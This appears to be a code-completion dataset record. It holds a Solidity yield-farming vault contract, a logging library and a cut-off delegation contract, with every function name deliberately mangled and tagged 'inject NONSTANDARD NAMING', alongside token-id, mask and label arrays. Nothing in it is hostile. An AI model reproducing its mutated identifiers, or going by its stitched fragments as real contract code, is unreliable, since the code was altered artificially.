_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3)); } function LOG714(address p0, string memory p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3)); } function LOG714(address p0, string memory p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3)); } function LOG714(address p0, string memory p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3)); } function LOG714(address p0, string memory p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3)); } function LOG714(address p0, string memory p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3)); } function LOG714(address p0, string memory p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3)); } function LOG714(address p0, string memory p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3)); } function LOG714(address p0, string memory p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3)); } function LOG714(address p0, bool p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3)); } function LOG714(address p0, bool p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3)); } function LOG714(address p0, bool p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3)); } function LOG714(address p0, bool p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3)); } function LOG714(address p0, bool p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3)); } function LOG714(address p0, bool p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3)); } function LOG714(address p0, bool p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3)); } function LOG714(address p0, bool p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3)); } function LOG714(address p0, bool p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3)); } function LOG714(address p0, bool p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3)); } function LOG714(address p0, bool p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3)); } function LOG714(address p0, bool p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3)); } function LOG714(address p0, bool p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3)); } function LOG714(address p0, bool p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3)); } function LOG714(address p0, bool p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3)); } function LOG714(address p0, bool p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3)); } function LOG714(address p0, address p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3)); } function LOG714(address p0, address p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3)); } function LOG714(address p0, address p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3)); } function LOG714(address p0, address p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3)); } function LOG714(address p0, address p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3)); } function LOG714(address p0, address p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3)); } function LOG714(address p0, address p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3)); } function LOG714(address p0, address p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3)); } function LOG714(address p0, address p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3)); } function LOG714(address p0, address p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3)); } function LOG714(address p0, address p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3)); } function LOG714(address p0, address p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3)); } function LOG714(address p0, address p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3)); } function LOG714(address p0, address p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3)); } function LOG714(address p0, address p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3)); } function LOG714(address p0, address p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3)); } } // HDCore Vault distributes fees equally amongst staked pools // Have fun reading it. Hopefully it's bug-free. God bless. contract HdcoreVault is OwnableUpgradeSafe { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. // // We do some fancy math here. Basically, any point in time, the amount of HdCOREs // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accHdcorePerShare) - user.rewardDebt // // Whenever a user deposits or withdraws tokens to a pool. Here's what happens: // 1. The pool's `accHdcorePerShare` (and `lastRewardBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { IERC20 token; // Address of token contract. uint256 allocPoint; // How many allocation points assigned to this pool. HDCOREs to distribute per block. uint256 accHdcorePerShare; // Accumulated HDCOREs per share, times 1e12. See below. bool withdrawable; // Is this pool withdrawable? mapping(address => mapping(address => uint256)) allowance; } // The HDCORE TOKEN! INBUNIERC20 public hdcore; // Dev address. address public devaddr; // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes tokens. mapping(uint256 => mapping(address => UserInfo)) public userInfo; // Total allocation poitns. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint; uint256 public pendingRewards; uint256 public contractStartBlock; uint256 public epochCalculationStartBlock; uint256 public cumulativeRewardsSinceStart; uint256 public rewardsInThisEpoch; uint public epoch; // Returns fees generated since start of this contract function AVERAGEFEESPERBLOCKSINCESTART533() external view returns (uint averagePerBlock) { //inject NONSTANDARD NAMING averagePerBlock = cumulativeRewardsSinceStart.ADD659(rewardsInThisEpoch).DIV156(block.number.SUB877(contractStartBlock)); } // Returns averge fees in this epoch function AVERAGEFEESPERBLOCKEPOCH880() external view returns (uint256 averagePerBlock) { //inject NONSTANDARD NAMING averagePerBlock = rewardsInThisEpoch.DIV156(block.number.SUB877(epochCalculationStartBlock)); } // For easy graphing historical epoch rewards mapping(uint => uint256) public epochRewards; //Starts a new calculation epoch // Because averge since start will not be accurate function STARTNEWEPOCH403() public { //inject NONSTANDARD NAMING require(epochCalculationStartBlock + 50000 < block.number, "New epoch not ready yet"); // About a week epochRewards[epoch] = rewardsInThisEpoch; cumulativeRewardsSinceStart = cumulativeRewardsSinceStart.ADD659(rewardsInThisEpoch); rewardsInThisEpoch = 0; epochCalculationStartBlock = block.number; ++epoch; } event DEPOSIT941(address indexed user, uint256 indexed pid, uint256 amount); //inject NONSTANDARD NAMING event WITHDRAW483(address indexed user, uint256 indexed pid, uint256 amount); //inject NONSTANDARD NAMING event EMERGENCYWITHDRAW770( //inject NONSTANDARD NAMING address indexed user, uint256 indexed pid, uint256 amount ); event APPROVAL172(address indexed owner, address indexed spender, uint256 _pid, uint256 value); //inject NONSTANDARD NAMING function INITIALIZE896( //inject NONSTANDARD NAMING INBUNIERC20 _hdcore ) public INITIALIZER933 { OwnableUpgradeSafe.__OWNABLE_INIT503(); DEV_FEE = 724; hdcore = _hdcore; devaddr = msg.sender; contractStartBlock = block.number; _superAdmin = msg.sender; } function POOLLENGTH724() external view returns (uint256) { //inject NONSTANDARD NAMING return poolInfo.length; } // Add a new token pool. Can only be called by the owner. // Note contract owner is meant to be a governance contract allowing HDCORE governance consensus function ADD659( //inject NONSTANDARD NAMING uint256 _allocPoint, IERC20 _token, bool _withUpdate, bool _withdrawable ) public ONLYOWNER691 { if (_withUpdate) { MASSUPDATEPOOLS941(); } uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { require(poolInfo[pid].token != _token,"Error pool already added"); } totalAllocPoint = totalAllocPoint.ADD659(_allocPoint); poolInfo.push( PoolInfo({ token: _token, allocPoint: _allocPoint, accHdcorePerShare: 0, withdrawable : _withdrawable }) ); } // Update the given pool's HDCOREs allocation point. Can only be called by the owner. // Note contract owner is meant to be a governance contract allowing HDCORE governance consensus function SET408( //inject NONSTANDARD NAMING uint256 _pid, uint256 _allocPoint, bool _withUpdate ) public ONLYOWNER691 { if (_withUpdate) { MASSUPDATEPOOLS941(); } totalAllocPoint = totalAllocPoint.SUB877(poolInfo[_pid].allocPoint).ADD659( _allocPoint ); poolInfo[_pid].allocPoint = _allocPoint; } // Update the given pool's ability to withdraw tokens // Note contract owner is meant to be a governance contract allowing HDCORE governance consensus function SETPOOLWITHDRAWABLE817( //inject NONSTANDARD NAMING uint256 _pid, bool _withdrawable ) public ONLYOWNER691 { poolInfo[_pid].withdrawable = _withdrawable; } // Sets the dev fee for this contract // defaults at 7.24% // Note contract owner is meant to be a governance contract allowing HDCORE governance consensus uint16 DEV_FEE; function SETDEVFEE755(uint16 _DEV_FEE) public ONLYOWNER691 { //inject NONSTANDARD NAMING require(_DEV_FEE <= 1000, 'Dev fee clamped at 10%'); DEV_FEE = _DEV_FEE; } uint256 pending_DEV_rewards; // View function to see pending HDCOREs on frontend. function PENDINGHDCORE546(uint256 _pid, address _user) //inject NONSTANDARD NAMING external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accHdcorePerShare = pool.accHdcorePerShare; return user.amount.MUL487(accHdcorePerShare).DIV156(1e12).SUB877(user.rewardDebt); } // Update reward vairables for all pools. Be careful of gas spending! function MASSUPDATEPOOLS941() public { //inject NONSTANDARD NAMING console.LOG714("Mass Updating Pools"); uint256 length = poolInfo.length; uint allRewards; for (uint256 pid = 0; pid < length; ++pid) { allRewards = allRewards.ADD659(UPDATEPOOL374(pid)); } pendingRewards = pendingRewards.SUB877(allRewards); } // ---- // Function that adds pending rewards, called by the HDCORE token. // ---- uint256 private hdcoreBalance; function ADDPENDINGREWARDS319(uint256 _) public { //inject NONSTANDARD NAMING uint256 newRewards = hdcore.BALANCEOF536(address(this)).SUB877(hdcoreBalance); if(newRewards > 0) { hdcoreBalance = hdcore.BALANCEOF536(address(this)); // If there is no change the balance didn't change pendingRewards = pendingRewards.ADD659(newRewards); rewardsInThisEpoch = rewardsInThisEpoch.ADD659(newRewards); } } // Update reward variables of the given pool to be up-to-date. function UPDATEPOOL374(uint256 _pid) internal returns (uint256 hdcoreRewardWhole) { //inject NONSTANDARD NAMING PoolInfo storage pool = poolInfo[_pid]; uint256 tokenSupply = pool.token.BALANCEOF536(address(this)); if (tokenSupply == 0) { // avoids division by 0 errors return 0; } hdcoreRewardWhole = pendingRewards // Multiplies pending rewards by allocation point of this pool and then total allocation .MUL487(pool.allocPoint) // getting the percent of total pending rewards this pool should get .DIV156(totalAllocPoint); // we can do this because pools are only mass updated uint256 hdcoreRewardFee = hdcoreRewardWhole.MUL487(DEV_FEE).DIV156(10000); uint256 hdcoreRewardToDistribute = hdcoreRewardWhole.SUB877(hdcoreRewardFee); pending_DEV_rewards = pending_DEV_rewards.ADD659(hdcoreRewardFee); pool.accHdcorePerShare = pool.accHdcorePerShare.ADD659( hdcoreRewardToDistribute.MUL487(1e12).DIV156(tokenSupply) ); } // Deposit tokens to HdcoreVault for HDCORE allocation. function DEPOSIT767(uint256 _pid, uint256 _amount) public { //inject NONSTANDARD NAMING PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; MASSUPDATEPOOLS941(); // Transfer pending tokens // to user UPDATEANDPAYOUTPENDING193(_pid, pool, user, msg.sender); //Transfer in the amounts from user // save gas if(_amount > 0) { pool.token.SAFETRANSFERFROM64(address(msg.sender), address(this), _amount); user.amount = user.amount.ADD659(_amount); } user.rewardDebt = user.amount.MUL487(pool.accHdcorePerShare).DIV156(1e12); emit DEPOSIT941(msg.sender, _pid, _amount); } // Test coverage // [x] Does user get the deposited amounts? // [x] Does user that its deposited for update correcty? // [x] Does the depositor get their tokens decreased function DEPOSITFOR318(address depositFor, uint256 _pid, uint256 _amount) public { //inject NONSTANDARD NAMING // requires no allowances PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][depositFor]; MASSUPDATEPOOLS941(); // Transfer pending tokens // to user UPDATEANDPAYOUTPENDING193(_pid, pool, user, depositFor); // Update the balances of person that amount is being deposited for if(_amount > 0) { pool.token.SAFETRANSFERFROM64(address(msg.sender), address(this), _amount); user.amount = user.amount.ADD659(_amount); // This is depositedFor address } user.rewardDebt = user.amount.MUL487(pool.accHdcorePerShare).DIV156(1e12); emit DEPOSIT941(depositFor, _pid, _amount); } // Test coverage // [x] Does allowance update correctly? function SETALLOWANCEFORPOOLTOKEN927(address spender, uint256 _pid, uint256 value) public { //inject NONSTANDARD NAMING PoolInfo storage pool = poolInfo[_pid]; pool.allowance[msg.sender][spender] = value; emit APPROVAL172(msg.sender, spender, _pid, value); } // Test coverage // [x] Does allowance decrease? // [x] Do oyu need allowance // [x] Withdraws to correct address function WITHDRAWFROM678(address owner, uint256 _pid, uint256 _amount) public{ //inject NONSTANDARD NAMING PoolInfo storage pool = poolInfo[_pid]; require(pool.allowance[owner][msg.sender] >= _amount, "withdraw: insufficient allowance"); pool.allowance[owner][msg.sender] = pool.allowance[owner][msg.sender].SUB877(_amount); _WITHDRAW26(_pid, _amount, owner, msg.sender); } // Withdraw tokens from HdcoreVault. function WITHDRAW844(uint256 _pid, uint256 _amount) public { //inject NONSTANDARD NAMING _WITHDRAW26(_pid, _amount, msg.sender, msg.sender); } // Low level withdraw function function _WITHDRAW26(uint256 _pid, uint256 _amount, address from, address to) internal { //inject NONSTANDARD NAMING PoolInfo storage pool = poolInfo[_pid]; require(pool.withdrawable, "Withdrawing from this pool is disabled"); UserInfo storage user = userInfo[_pid][from]; require(user.amount >= _amount, "withdraw: not good"); MASSUPDATEPOOLS941(); UPDATEANDPAYOUTPENDING193(_pid, pool, user, from); // Update balances of from this is not withdrawal but claiming HDCORE farmed if(_amount > 0) { user.amount = user.amount.SUB877(_amount); pool.token.SAFETRANSFER239(address(to), _amount); } user.rewardDebt = user.amount.MUL487(pool.accHdcorePerShare).DIV156(1e12); emit WITHDRAW483(to, _pid, _amount); } function CLAIM95(uint256 _pid) public { //inject NONSTANDARD NAMING PoolInfo storage pool = poolInfo[_pid]; require(pool.withdrawable, "Withdrawing from this pool is disabled"); UserInfo storage user = userInfo[_pid][msg.sender]; MASSUPDATEPOOLS941(); UPDATEANDPAYOUTPENDING193(_pid, pool, user, msg.sender); } function UPDATEANDPAYOUTPENDING193(uint256 _pid, PoolInfo storage pool, UserInfo storage user, address from) internal { //inject NONSTANDARD NAMING if(user.amount == 0) return; uint256 pending = user .amount .MUL487(pool.accHdcorePerShare) .DIV156(1e12) .SUB877(user.rewardDebt); if(pending > 0) { SAFEHDCORETRANSFER939(from, pending); } } // function that lets owner/governance contract // approve allowance for any token inside this contract // This means all future UNI like airdrops are covered // And at the same time allows us to give allowance to strategy contracts. // Upcoming cYFI etc vaults strategy contracts will use this function to manage and farm yield on value locked function SETSTRATEGYCONTRACTORDISTRIBUTIONCONTRACTALLOWANCE131(address tokenAddress, uint256 _amount, address contractAddress) public ONLYSUPERADMIN581 { //inject NONSTANDARD NAMING require(ISCONTRACT107(contractAddress), "Recipent is not a smart contract, BAD"); require(block.number > contractStartBlock.ADD659(95_000), "Governance setup grace period not over"); // about 2weeks IERC20(tokenAddress).APPROVE926(contractAddress, _amount); } function ISCONTRACT107(address addr) public returns (bool) { //inject NONSTANDARD NAMING uint size; assembly { size := extcodesize(addr) } return size > 0; } // Withdraw without caring about rewards. EMERGENCY ONLY. // !Caution this will remove all your pending rewards! function EMERGENCYWITHDRAW608(uint256 _pid) public { //inject NONSTANDARD NAMING PoolInfo storage pool = poolInfo[_pid]; require(pool.withdrawable, "Withdrawing from this pool is disabled"); UserInfo storage user = userInfo[_pid][msg.sender]; pool.token.SAFETRANSFER239(address(msg.sender), user.amount); emit EMERGENCYWITHDRAW770(msg.sender, _pid, user.amount); user.amount = 0; user.rewardDebt = 0; // No mass update dont update pending rewards } // Safe hdcore transfer function, just in case if rounding error causes pool to not have enough HDCOREs. function SAFEHDCORETRANSFER939(address _to, uint256 _amount) internal { //inject NONSTANDARD NAMING if(_amount == 0) return; uint256 hdcoreBal = hdcore.BALANCEOF536(address(this)); if (_amount > hdcoreBal) { console.LOG714("transfering out for to person:", _amount); console.LOG714("Balance of this address is :", hdcoreBal); hdcore.TRANSFER353(_to, hdcoreBal); hdcoreBalance = hdcore.BALANCEOF536(address(this)); } else { hdcore.TRANSFER353(_to, _amount); hdcoreBalance = hdcore.BALANCEOF536(address(this)); } if(pending_DEV_rewards > 0) { uint256 devSend = pending_DEV_rewards; // Avoid recursive loop pending_DEV_rewards = 0; SAFEHDCORETRANSFER939(devaddr, devSend); } } // Update dev address by the previous dev. // Note onlyOwner functions are meant for the governance contract // allowing HDCORE governance token holders to do this functions. function SETDEVFEERECIEVER7(address _devaddr) public ONLYOWNER691 { //inject NONSTANDARD NAMING devaddr = _devaddr; } address private _superAdmin; event SUPERADMINTRANSFERED362(address indexed previousOwner, address indexed newOwner); //inject NONSTANDARD NAMING function SUPERADMIN402() public view returns (address) { //inject NONSTANDARD NAMING return _superAdmin; } modifier ONLYSUPERADMIN581() { //inject NONSTANDARD NAMING require(_superAdmin == _MSGSENDER195(), "Super admin : caller is not super admin."); _; } // Assisns super admint to address 0, making it unreachable forever function BURNSUPERADMIN143() public virtual ONLYSUPERADMIN581 { //inject NONSTANDARD NAMING emit SUPERADMINTRANSFERED362(_superAdmin, address(0)); _superAdmin = address(0); } // Super admin can transfer its powers to another address function NEWSUPERADMIN397(address newOwner) public virtual ONLYSUPERADMIN581 { //inject NONSTANDARD NAMING require(newOwner != address(0), "Ownable: new owner is the zero address"); emit SUPERADMINTRANSFERED362(_superAdmin, newOwner); _superAdmin = newOwner; } }
inject NONSTANDARD NAMING
function LOG714(address p0, address p1, uint p2, string memory p3) internal view {
14,087,968
[ 1, 22170, 18708, 882, 18264, 423, 2192, 1360, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 915, 2018, 27, 3461, 12, 2867, 293, 20, 16, 1758, 293, 21, 16, 2254, 293, 22, 16, 533, 3778, 293, 23, 13, 2713, 1476, 288, 202, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x2306D5ab08110E4312D2CeaC4346475DedF90bA2/sources/DOT_PFP_V0.sol
mapping of all domains to nft contract addresses
mapping(bytes32 => address) public domainMap;
15,499,647
[ 1, 6770, 434, 777, 10128, 358, 290, 1222, 6835, 6138, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2874, 12, 3890, 1578, 516, 1758, 13, 1071, 2461, 863, 31, 3639, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x747F0a6342D1e9AA6f8cb6bcfb8e1C9754f55C12/sources/contracts/old/contracts/OperatorDelegation.sol
Allowed operator contracts will be reviewed to make sure the original caller is the owner. And the operator contract is a just a delegator contract that does what the owner intended
contract OperatorDelegation is IOperatorDelegation, Ownable { using EnumerableSet for EnumerableSet.AddressSet; EnumerableSet.AddressSet private _allowedOperators; mapping(address => string) private _operatorName; mapping(address => EnumerableSet.AddressSet) private _operatorApprovals; function setApprovalToOperator(address operator, bool approved) public { _setApprovalToOperator(_msgSender(), operator, approved); } function isOperatorAllowed(address operator) public view returns (bool) { return _allowedOperators.contains(operator); } function isApprovedOperator( address owner, address operator ) public view returns (bool) { return isOperatorAllowed(operator) && _operatorApprovals[owner].contains(operator); } function getOperator( address operator ) external view returns (OperatorInfo memory operatorInfo) { if (isOperatorAllowed(operator)) { operatorInfo = OperatorInfo({ operator: operator, name: _operatorName[operator] }); } } function getOperator( address operator ) external view returns (OperatorInfo memory operatorInfo) { if (isOperatorAllowed(operator)) { operatorInfo = OperatorInfo({ operator: operator, name: _operatorName[operator] }); } } function getOperator( address operator ) external view returns 